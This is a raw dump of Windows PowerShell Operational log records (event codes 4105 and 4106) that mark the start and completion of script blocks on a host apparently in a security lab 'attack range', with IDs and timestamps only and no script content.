RecordNumber=2024728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024726
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024725
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024705
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024704
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024703
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024702
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024682
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024681
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024676
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024675
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
